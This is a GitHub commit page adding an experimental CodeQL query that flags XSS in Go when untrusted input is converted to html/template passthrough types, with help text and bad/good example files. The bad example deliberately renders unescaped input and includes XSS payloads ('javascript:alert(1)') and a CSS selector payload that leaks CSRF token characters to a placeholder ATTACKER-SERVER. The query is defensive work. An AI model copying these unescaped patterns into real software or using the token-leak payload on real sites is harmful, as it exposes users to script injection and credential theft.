Skip to content

Commit 7bf5abf

Browse files
smowtonsmowton
authored
Merge pull request #493 from gagliardetto/html-template-escaping-passthrough
Add CWE-79: HTML template escaping passthrough
2 parents 29bf388 + 68c0073 commit 7bf5abf

7 files changed

+685
-0
lines changed

‎ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp‎

Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
<!DOCTYPE qhelp PUBLIC "-//Semmle//qhelp//EN" "qhelp.dtd">
2+
<qhelp>
3+
<overview>
4+
<p>
5+
In Go, the <code>html/template</code> package has a few special types
6+
(<code>HTML</code>, <code>HTMLAttr</code>, <code>JS</code>, <code>JSStr</code>, <code>CSS</code>,
7+
<code>Srcset</code>, and <code>URL</code>)
8+
that allow values to be rendered as-is in the template, avoiding the escaping that all the other strings go
9+
through.
10+
</p>
11+
<p>Using them on user-provided values will result in an opportunity for XSS.</p>
12+
</overview>
13+
<recommendation>
14+
<p>
15+
Make sure to never use those types on untrusted content.
16+
</p>
17+
</recommendation>
18+
<example>
19+
<p>
20+
In the first example you can see the special types and how they are used in a template:
21+
</p>
22+
<sample src="HTMLTemplateEscapingPassthroughBad.go" />
23+
<p>
24+
To avoid XSS, all user input should be a normal string type.
25+
</p>
26+
<sample src="HTMLTemplateEscapingPassthroughGood.go" />
27+
</example>
28+
</qhelp>

‎ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql‎

Lines changed: 172 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,172 @@
1+
/**
2+
* @name HTML template escaping passthrough
3+
* @description If a user-provided value is converted to a special type that avoids escaping when fed into a HTML
4+
* template, it may result in XSS.
5+
* @kind path-problem
6+
* @problem.severity warning
7+
* @id go/html-template-escaping-passthrough
8+
* @tags security
9+
* external/cwe/cwe-79
10+
*/
11+
12+
import go
13+
import DataFlow::PathGraph
14+
15+
/**
16+
* Holds if the provided `untrusted` node flows into a conversion to a PassthroughType.
17+
* The `targetType` parameter gets populated with the name of the PassthroughType,
18+
* and `conversionSink` gets populated with the node where the conversion happens.
19+
*/
20+
predicate flowsFromUntrustedToConversion(
21+
DataFlow::Node untrusted, PassthroughTypeName targetType, DataFlow::Node conversionSink
22+
) {
23+
exists(FlowConfFromUntrustedToPassthroughTypeConversion cfg, DataFlow::Node source |
24+
cfg.hasFlow(source, conversionSink) and
25+
source = untrusted and
26+
targetType = cfg.getDstTypeName()
27+
)
28+
}
29+
30+
/**
31+
* Provides the names of the types that will not be escaped when passed to
32+
* a `html/template` template.
33+
*/
34+
class PassthroughTypeName extends string {
35+
PassthroughTypeName() { this = ["HTML", "HTMLAttr", "JS", "JSStr", "CSS", "Srcset", "URL"] }
36+
}
37+
38+
/**
39+
* A taint-tracking configuration for reasoning about when an UntrustedFlowSource
40+
* is converted into a special "passthrough" type which will not be escaped by the template generator;
41+
* this allows the injection of arbitrary content (html, css, js) into the generated
42+
* output of the templates.
43+
*/
44+
class FlowConfFromUntrustedToPassthroughTypeConversion extends TaintTracking::Configuration {
45+
PassthroughTypeName dstTypeName;
46+
47+
FlowConfFromUntrustedToPassthroughTypeConversion() {
48+
this = "UntrustedToConversion" + dstTypeName
49+
}
50+
51+
/**
52+
* Gets the name of conversion's destination type.
53+
*/
54+
PassthroughTypeName getDstTypeName() { result = dstTypeName }
55+
56+
override predicate isSource(DataFlow::Node source) { source instanceof UntrustedFlowSource }
57+
58+
private predicate isSinkToPassthroughType(DataFlow::TypeCastNode sink, PassthroughTypeName name) {
59+
exists(Type typ |
60+
typ = sink.getResultType() and
61+
typ.getUnderlyingType*().hasQualifiedName("html/template", name)
62+
)
63+
}
64+
65+
override predicate isSink(DataFlow::Node sink) { isSinkToPassthroughType(sink, dstTypeName) }
66+
}
67+
68+
/**
69+
* Holds if the provided `conversion` node flows into the provided `execSink`.
70+
*/
71+
predicate flowsFromConversionToExec(
72+
DataFlow::Node conversion, PassthroughTypeName targetType, DataFlow::Node execSink
73+
) {
74+
exists(
75+
FlowConfPassthroughTypeConversionToTemplateExecutionCall cfg, DataFlow::Node source,
76+
DataFlow::Node execSinkLocal
77+
|
78+
cfg.hasFlow(source, execSinkLocal) and
79+
source = conversion and
80+
execSink = execSinkLocal and
81+
targetType = cfg.getDstTypeName()
82+
)
83+
}
84+
85+
/**
86+
* A taint-tracking configuration for reasoning about when the result of a conversion
87+
* to a PassthroughType flows to a template execution call.
88+
*/
89+
class FlowConfPassthroughTypeConversionToTemplateExecutionCall extends TaintTracking::Configuration {
90+
PassthroughTypeName dstTypeName;
91+
92+
FlowConfPassthroughTypeConversionToTemplateExecutionCall() {
93+
this = "ConversionToExec" + dstTypeName
94+
}
95+
96+
/**
97+
* Gets the name of conversion's destination type.
98+
*/
99+
PassthroughTypeName getDstTypeName() { result = dstTypeName }
100+
101+
override predicate isSource(DataFlow::Node source) {
102+
isSourceConversionToPassthroughType(source, _)
103+
}
104+
105+
private predicate isSourceConversionToPassthroughType(
106+
DataFlow::TypeCastNode source, PassthroughTypeName name
107+
) {
108+
exists(Type typ |
109+
typ = source.getResultType() and
110+
typ.getUnderlyingType*().hasQualifiedName("html/template", name)
111+
)
112+
}
113+
114+
override predicate isSink(DataFlow::Node sink) { isSinkToTemplateExec(sink, _) }
115+
}
116+
117+
/**
118+
* Holds if the sink is a data value argument of a template execution call.
119+
*/
120+
predicate isSinkToTemplateExec(DataFlow::Node sink, DataFlow::CallNode call) {
121+
exists(Method fn, string methodName |
122+
fn.hasQualifiedName("html/template", "Template", methodName) and
123+
call = fn.getACall()
124+
|
125+
methodName = "Execute" and sink = call.getArgument(1)
126+
or
127+
methodName = "ExecuteTemplate" and sink = call.getArgument(2)
128+
)
129+
}
130+
131+
/**
132+
* A taint-tracking configuration for reasoning about when an UntrustedFlowSource
133+
* flows into a template executor call.
134+
*/
135+
class FlowConfFromUntrustedToTemplateExecutionCall extends TaintTracking::Configuration {
136+
FlowConfFromUntrustedToTemplateExecutionCall() {
137+
this = "FlowConfFromUntrustedToTemplateExecutionCall"
138+
}
139+
140+
override predicate isSource(DataFlow::Node source) { source instanceof UntrustedFlowSource }
141+
142+
override predicate isSink(DataFlow::Node sink) { isSinkToTemplateExec(sink, _) }
143+
144+
override predicate isSanitizer(DataFlow::Node sanitizer) {
145+
sanitizer instanceof SharedXss::Sanitizer or sanitizer.getType() instanceof NumericType
146+
}
147+
}
148+
149+
/**
150+
* Holds if the provided `untrusted` node flows into the provided `execSink`.
151+
*/
152+
predicate flowsFromUntrustedToExec(DataFlow::PathNode untrusted, DataFlow::PathNode execSink) {
153+
exists(FlowConfFromUntrustedToTemplateExecutionCall cfg | cfg.hasFlowPath(untrusted, execSink))
154+
}
155+
156+
from
157+
DataFlow::PathNode untrustedSource, DataFlow::PathNode templateExecCall,
158+
PassthroughTypeName targetTypeName, DataFlow::PathNode conversion
159+
where
160+
// A = untrusted remote flow source
161+
// B = conversion to PassthroughType
162+
// C = template execution call
163+
// Flows:
164+
// A -> B
165+
flowsFromUntrustedToConversion(untrustedSource.getNode(), targetTypeName, conversion.getNode()) and
166+
// B -> C
167+
flowsFromConversionToExec(conversion.getNode(), targetTypeName, templateExecCall.getNode()) and
168+
// A -> C
169+
flowsFromUntrustedToExec(untrustedSource, templateExecCall)
170+
select templateExecCall.getNode(), untrustedSource, templateExecCall,
171+
"Data from an $@ will not be auto-escaped because it was $@ to template." + targetTypeName,
172+
untrustedSource.getNode(), "untrusted source", conversion.getNode(), "converted"

‎ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughBad.go‎

Lines changed: 70 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
package main
2+
3+
import (
4+
"html/template"
5+
"os"
6+
)
7+
8+
func main() {}
9+
func source(s string) string {
10+
return s
11+
}
12+
13+
type HTMLAlias = template.HTML
14+
15+
func checkError(err error) {
16+
if err != nil {
17+
panic(err)
18+
}
19+
}
20+
21+
// bad is an example of a bad implementation
22+
func bad() {
23+
tmpl, _ := template.New("test").Parse(`Hi {{.}}\n`)
24+
tmplTag, _ := template.New("test").Parse(`Hi <b {{.}}></b>\n`)
25+
tmplScript, _ := template.New("test").Parse(`<script> eval({{.}}) </script>`)
26+
tmplSrcset, _ := template.New("test").Parse(`<img srcset="{{.}}"/>`)
27+
28+
{
29+
{
30+
var a = template.HTML(source(`<a href='example.com'>link</a>`))
31+
checkError(tmpl.Execute(os.Stdout, a))
32+
}
33+
{
34+
{
35+
var a template.HTML
36+
a = template.HTML(source(`<a href='example.com'>link</a>`))
37+
checkError(tmpl.Execute(os.Stdout, a))
38+
}
39+
{
40+
var a HTMLAlias
41+
a = HTMLAlias(source(`<a href='example.com'>link</a>`))
42+
checkError(tmpl.Execute(os.Stdout, a))
43+
}
44+
}
45+
}
46+
{
47+
var c = template.HTMLAttr(source(`href="https://example.com"`))
48+
checkError(tmplTag.Execute(os.Stdout, c))
49+
}
50+
{
51+
var d = template.JS(source("alert({hello: 'world'})"))
52+
checkError(tmplScript.Execute(os.Stdout, d))
53+
}
54+
{
55+
var e = template.JSStr(source("setTimeout('alert()')"))
56+
checkError(tmplScript.Execute(os.Stdout, e))
57+
}
58+
{
59+
var b = template.CSS(source("input[name='csrftoken'][value^='b'] { background: url(//ATTACKER-SERVER/leak/b); } "))
60+
checkError(tmpl.Execute(os.Stdout, b))
61+
}
62+
{
63+
var f = template.Srcset(source(`evil.jpg 320w`))
64+
checkError(tmplSrcset.Execute(os.Stdout, f))
65+
}
66+
{
67+
var g = template.URL(source("javascript:alert(1)"))
68+
checkError(tmpl.Execute(os.Stdout, g))
69+
}
70+
}

‎ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go‎

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
package main
2+
3+
import (
4+
"html/template"
5+
"os"
6+
)
7+
8+
// good is an example of a good implementation
9+
func good() {
10+
tmpl, _ := template.New("test").Parse(`Hello, {{.}}\n`)
11+
{ // This will be escaped:
12+
var escaped = source(`<a href="example.com">link</a>`)
13+
checkError(tmpl.Execute(os.Stdout, escaped))
14+
}
15+
}

0 commit comments

Comments
 (0)